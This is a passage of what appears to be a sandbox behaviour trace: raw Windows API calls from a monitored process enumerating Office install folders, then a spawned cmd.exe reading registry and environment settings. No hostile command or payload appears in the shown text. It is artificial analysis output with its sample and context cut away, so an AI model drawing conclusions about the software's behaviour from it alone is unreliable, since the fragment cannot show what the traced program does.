(in: hFindFile=0x3ef21c8, lpFindFileData=0x353f094 | out: lpFindFileData=0x353f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x3bb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ANALYS32.XLL", cAlternateFileName="")) returned 1 [0052.175] FindClose (in: hFindFile=0x3ef21c8 | out: hFindFile=0x3ef21c8) returned 1 [0052.176] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f33b98 | out: hHeap=0x510000) returned 1 [0052.176] FindNextFileW (in: hFindFile=0x3ef2308, lpFindFileData=0x353f310 | out: lpFindFileData=0x353f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x62688, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUROTOOL.XLAM", cAlternateFileName="EUROTO~1.XLA")) returned 1 [0052.176] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\*", lpFindFileData=0x353f094 | out: lpFindFileData=0x353f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef21c8 [0052.176] FindNextFileW (in: hFindFile=0x3ef21c8, lpFindFileData=0x353f094 | out: lpFindFileData=0x353f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.176] FindNextFileW (in: hFindFile=0x3ef21c8, lpFindFileData=0x353f094 | out: lpFindFileData=0x353f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x6c340, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER.XLAM", cAlternateFileName="SOLVER~1.XLA")) returned 1 [0052.176] FindClose (in: hFindFile=0x3ef21c8 | out: hFindFile=0x3ef21c8) returned 1 [0052.176] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f33b98 | out: hHeap=0x510000) returned 1 [0052.176] FindNextFileW (in: hFindFile=0x3ef2308, lpFindFileData=0x353f310 | out: lpFindFileData=0x353f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER", cAlternateFileName="")) returned 0 [0052.176] FindClose (in: hFindFile=0x3ef2308 | out: hFindFile=0x3ef2308) returned 1 [0052.176] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3fd5be8 | out: hHeap=0x510000) returned 1 [0052.176] FindNextFileW (in: hFindFile=0x3ef2108, lpFindFileData=0x353f58c | out: lpFindFileData=0x353f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5dfae80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xfafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOGELEMS.DLL", cAlternateFileName="")) returned 1 [0052.177] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\*", lpFindFileData=0x353f310 | out: lpFindFileData=0x353f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef2308 [0052.447] FindNextFileW (in: hFindFile=0x3ef2308, lpFindFileData=0x353f310 | out: lpFindFileData=0x353f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.447] FindNextFileW (in: hFindFile=0x3ef2308, lpFindFileData=0x353f310 | out: lpFindFileData=0x353f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb796bf00, ftCreationTime.dwHighDateTime=0x1bd8ab7, ftLastAccessTime.dwLowDateTime=0x5ebdaad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb796bf00, ftLastWriteTime.dwHighDateTime=0x1bd8ab7, nFileSizeHigh=0x0, nFileSizeLow=0x6daa, dwReserved0=0x0, dwReserved1=0x0, cFileName="APPLAUSE.WAV", cAlternateFileName="")) returned 1 [0052.448] FindClose (in: hFindFile=0x3ef2308 | out: hFindFile=0x3ef2308) returned 1 [0052.720] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3fd5be8 | out: hHeap=0x510000) returned 1 [0052.720] FindNextFileW (in: hFindFile=0x3ef2108, lpFindFileData=0x353f58c | out: lpFindFileData=0x353f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4f5000, ftCreationTime.dwHighDateTime=0x1cac037, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d4f5000, ftLastWriteTime.dwHighDateTime=0x1cac037, nFileSizeHigh=0x0, nFileSizeLow=0x1c798, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BusinessData.dll", cAlternateFileName="MI5659~1.DLL")) returned 1 [0059.527] FindNextFileW (in: hFindFile=0x3ef23c8, lpFindFileData=0x353f094 | out: lpFindFileData=0x353f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x274de510, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd6d73d80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d73d80, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.527] FindNextFileW (in: hFindFile=0x3ef23c8, lpFindFileData=0x353f094 | out: lpFindFileData=0x353f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5279f530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0059.529] FindNextFileW (in: hFindFile=0x3ef2388, lpFindFileData=0x353ee18 | out: lpFindFileData=0x353ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5279f530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.529] FindNextFileW (in: hFindFile=0x3ef2388, lpFindFileData=0x353ee18 | out: lpFindFileData=0x353ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5024ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2760, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="VSTOIN~1.DLL")) returned 1 Thread: id = 25 os_tid = 0x9bc Thread: id = 26 os_tid = 0x9d4 Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x4f153000" os_pid = "0x938" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x92c" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0x93c [0038.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25fb50 | out: lpSystemTimeAsFileTime=0x25fb50*(dwLowDateTime=0x73459c70, dwHighDateTime=0x1d5af86)) [0038.993] GetCurrentProcessId () returned 0x938 [0038.993] GetCurrentThreadId () returned 0x93c [0038.993] GetTickCount () returned 0x114255c [0038.993] QueryPerformanceCounter (in: lpPerformanceCount=0x25fb58 | out: lpPerformanceCount=0x25fb58*=15913624831) returned 1 [0038.994] GetModuleHandleW (lpModuleName=0x0) returned 0x4a990000 [0038.994] __set_app_type (_Type=0x1) [0038.994] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a9b7810) returned 0x0 [0038.994] __getmainargs (in: _Argc=0x4a9da608, _Argv=0x4a9da618, _Env=0x4a9da610, _DoWildCard=0, _StartInfo=0x4a9be0f4 | out: _Argc=0x4a9da608, _Argv=0x4a9da618, _Env=0x4a9da610) returned 0 [0038.995] GetCurrentThreadId () returned 0x93c [0038.995] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x93c) returned 0x3c [0039.086] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e30000 [0039.087] GetProcAddress (hModule=0x76e30000, lpProcName="SetThreadUILanguage") returned 0x76e46d40 [0039.087] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0039.087] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0039.087] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x25fae8 | out: phkResult=0x25fae8*=0x0) returned 0x2 [0039.087] VirtualQuery (in: lpAddress=0x25fad0, lpBuffer=0x25fa50, dwLength=0x30 | out: lpBuffer=0x25fa50*(BaseAddress=0x25f000, AllocationBase=0x160000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0039.087] VirtualQuery (in: lpAddress=0x160000, lpBuffer=0x25fa50, dwLength=0x30 | out: lpBuffer=0x25fa50*(BaseAddress=0x160000, AllocationBase=0x160000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0039.087] VirtualQuery (in: lpAddress=0x161000, lpBuffer=0x25fa50, dwLength=0x30 | out: lpBuffer=0x25fa50*(BaseAddress=0x161000, AllocationBase=0x160000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0039.087] VirtualQuery (in: lpAddress=0x164000, lpBuffer=0x25fa50, dwLength=0x30 | out: lpBuffer=0x25fa50*(BaseAddress=0x164000, AllocationBase=0x160000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0039.087] VirtualQuery (in: lpAddress=0x260000, lpBuffer=0x25fa50, dwLength=0x30 | out: lpBuffer=0x25fa50*(BaseAddress=0x260000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x80000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0039.087] GetConsoleOutputCP () returned 0x1b5 [0039.087] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a9cbfe0 | out: lpCPInfo=0x4a9cbfe0) returned 1 [0039.088] SetConsoleCtrlHandler (HandlerRoutine=0x4a9b3184, Add=1) returned 1 [0039.088] _get_osfhandle (_FileHandle=1) returned 0xf4 [0039.088] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0039.088] _get_osfhandle (_FileHandle=1) returned 0xf4 [0039.088] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a9be194 | out: lpMode=0x4a9be194) returned 0 [0039.088] _get_osfhandle (_FileHandle=0) returned 0xe8 [0039.088] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a9be198 | out: lpMode=0x4a9be198) returned 0 [0039.088] GetEnvironmentStringsW () returned 0x2f8a60* [0039.088] GetProcessHeap () returned 0x2e0000 [0039.088] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xa7c) returned 0x2f94f0 [0039.088] FreeEnvironmentStringsW (penv=0x2f8a60) returned 1 [0039.089] GetProcessHeap () returned 0x2e0000 [0039.089] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x8) returned 0x2f88e0 [0039.089] GetEnvironmentStringsW () returned 0x2f8a60* [0039.089] GetProcessHeap () returned 0x2e0000 [0039.089] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xa7c) returned 0x2f9f80 [0039.089] FreeEnvironmentStringsW (penv=0x2f8a60) returned 1 [0039.089] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x25e9a8 | out: phkResult=0x25e9a8*=0x44) returned 0x0 [0039.089] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x25e9a0, lpData=0x25e9c0, lpcbData=0x25e9a4*=0x1000 | out: lpType=0x25e9a0*=0x0, lpData=0x25e9c0*=0x18, lpcbData=0x25e9a4*=0x1000) returned 0x2 [0039.089] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x25e9a0, lpData=0x25e9c0, lpcbData=0x25e9a4*=0x1000 | out: lpType=0x25e9a0*=0x4, lpData=0x25e9c0*=0x1, lpcbData=0x25e9a4*=0x4) returned 0x0 [0039.089] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x25e9a0, lpData=0x25e9c0, lpcbData=0x25e9a4*=0x1000 | out: lpType=0x25e9a0*=0x0, lpData=0x25e9c0*=0x1, lpcbData=0x25e9a4*=0x1000) returned 0x2 [0039.089] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x25e9a0, lpData=0x25e9c0, lpcbData=0x25e9a4*=0x1000 | out: lpType=0x25e9a0*=0x4, lpData=0x25e9c0*=0x0, lpcbData=0x25e9a4*=0x4) returned 0x0 [0039.089] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x25e9a0, lpData=0x25e9c0, lpcbData=0x25e9a4*=0x1000 | out: lpType=0x25e9a0*=0x4, lpData=0x25e9c0*=0x40, lpcbData=0x25e9a4*=0x4) returned 0x0 [0039.089] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x25e9a0, lpData=0x25e9c0, lpcbData=0x25e9a4*=0x1000 | out: lpType=0x25e9a0*=0x4, lpData=0x25e9c0*=0x40, lpcbData=0x25e9a4*=0x4) returned 0x0 [0039.089] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x25e9a0, lpData=0x25e9c0, lpcbData=0x25e9a4*=0x1000 | out: lpType=0x25e9a0*=0x0, lpData=0x25e9c0*=0x40, lpcbData=0x25e9a4*=0x1000) returned 0x2 [0039.089] RegCloseKey (hKey=0x44) returned 0x0 [0039.089] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x25e9a8 | out: phkResult=0x25e9a8*=0x44) returned 0x0 [0039.089] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x25e9a0, lpData=0x25e9c0, lpcbData=0x25e9a4*=0x1000 | out: lpType=0x25e9a0*=0x0, lpData=0x25e9c0*=0x40, lpcbData=0x25e9a4*=0x1000) returned 0x2 [0039.090] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x25e9a0, lpData=0x25e9c0, lpcbData=0x25e9a4*=0x1000 | out: lpType=0x25e9a0*=0x4, lpData=0x25e9c0*=0x1, lpcbData=0x25e9a4*=0x4) returned 0x0 [0039.090] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x25e9a0, lpData=0x25e9c0, lpcbData=0x25e9a4*=0x1000 | out: lpType=0x25e9a0*=0x0, lpData=0x25e9c0*=0x1, lpcbData=0x25e9a4*=0x1000) returned 0x2 [0039.090] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x25e9a0, lpData=0x25e9c0, lpcbData=0x25e9a4*=0x1000 | out: lpType=0x25e9a0*=0x4, lpData=0x25e9c0*=0x0, lpcbData=0x25e9a4*=0x4) returned 0x0 [0039.090] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x25e9a0, lpData=0x25e9c0, lpcbData=0x25e9a4*=0x1000 | out: lpType=0x25e9a0*=0x4, lpData=0x25e9c0*=0x9, lpcbData=0x25e9a4*=0x4) returned 0x0 [0039.090] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x25e9a0, lpData=0x25e9c0, lpcbData=0x25e9a4*=0x1000 | out: lpType=0x25e9a0*=0x4, lpData=0x25e9c0*=0x9, lpcbData=0x25e9a4*=0x4) returned 0x0 [0039.090] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x25e9a0, lpData=0x25e9c0, lpcbData=0x25e9a4*=0x1000 | out: lpType=0x25e9a0*=0x0, lpData=0x25e9c0*=0x9, lpcbData=0x25e9a4*=0x1000) returned 0x2 [0039.090] RegCloseKey (hKey=0x44) returned 0x0 [0039.090] time (in: timer=0x0 | out: timer=0x0) returned 0x5defe1d7 [0039.090] srand (_Seed=0x5defe1d7) [0039.090] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0039.090] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0039.090] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a9cc0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0039.090] GetProcessHeap () returned 0x2e0000 [0039.090] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x218) returned 0x2faa10 [0039.090] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2faa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0039.091] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a9bf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0039.091] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a9bf360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0039.091] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a9bf360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0039.091] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0039.091] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0039.091] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0039.091] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0039.091] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0039.091] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0039.091] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0039.091] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0039.091] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0039.091] GetProcessHeap () returned 0x2e0000 [0039.091] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f94f0 | out: hHeap=0x2e0000) returned 1 [0039.091] GetEnvironmentStringsW () returned 0x2f8a60* [0039.091] GetProcessHeap () returned 0x2e0000 [0039.091] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xa94) returned 0x2fac30 [0039.091] FreeEnvironmentStringsW (penv=0x2f8a60) returned 1 [0039.091] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a9bf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0039.091] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a9bf360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0039.091] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0039.091] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0039.091] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0039.091] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0039.091] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0039.091] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0039.091] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0039.091] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0039.092] GetProcessHeap () returned 0x2e0000 [0039.092] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x5c) returned 0x2fb6d0 [0039.092] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x25f7b0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0039.092] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x25f7b0, lpFilePart=0x25f790 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x25f790*="Desktop") returned 0x25 [0039.092] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0039.092] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x25f4c0 | out: lpFindFileData=0x25f4c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Users", cAlternateFileName="")) returned 0x2fb740 [0039.092] FindClose (in: hFindFile=0x2fb740 | out: hFindFile=0x2fb740) returned 1 [0039.092] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x25f4c0 | out: lpFindFileData=0x25f4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x2fb740 [0039.092] FindClose (in: hFindFile=0x2fb740 | out: hFindFile=0x2fb740) returned 1 [0039.092] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0039.092] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x25f4c0 | out: lpFindFileData=0x25f4c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6c276040, ftLastAccessTime.dwHighDateTime=0x1d5af86, ftLastWriteTime.dwLowDateTime=0x6c276040, ftLastWriteTime.dwHighDateTime=0x1d5af86, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Desktop", cAlternateFileName="")) returned 0x2fb740 [0039.093] FindClose (in: hFindFile=0x2fb740 | out: hFindFile=0x2fb740) returned 1 [0039.093] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0039.093] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0039.093] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0039.093] GetProcessHeap () returned 0x2e0000 [0039.093] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fac30 | out: hHeap=0x2e0000) returned 1 [0039.093] GetEnvironmentStringsW () returned 0x2fb740* [0039.093] GetProcessHeap () returned 0x2e0000 [0039.093] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xae8) returned 0x2fc230 [0039.093] FreeEnvironmentStringsW (penv=0x2fb740) returned 1 [0039.093] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a9cc0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0039.093] GetProcessHeap () returned 0x2e0000 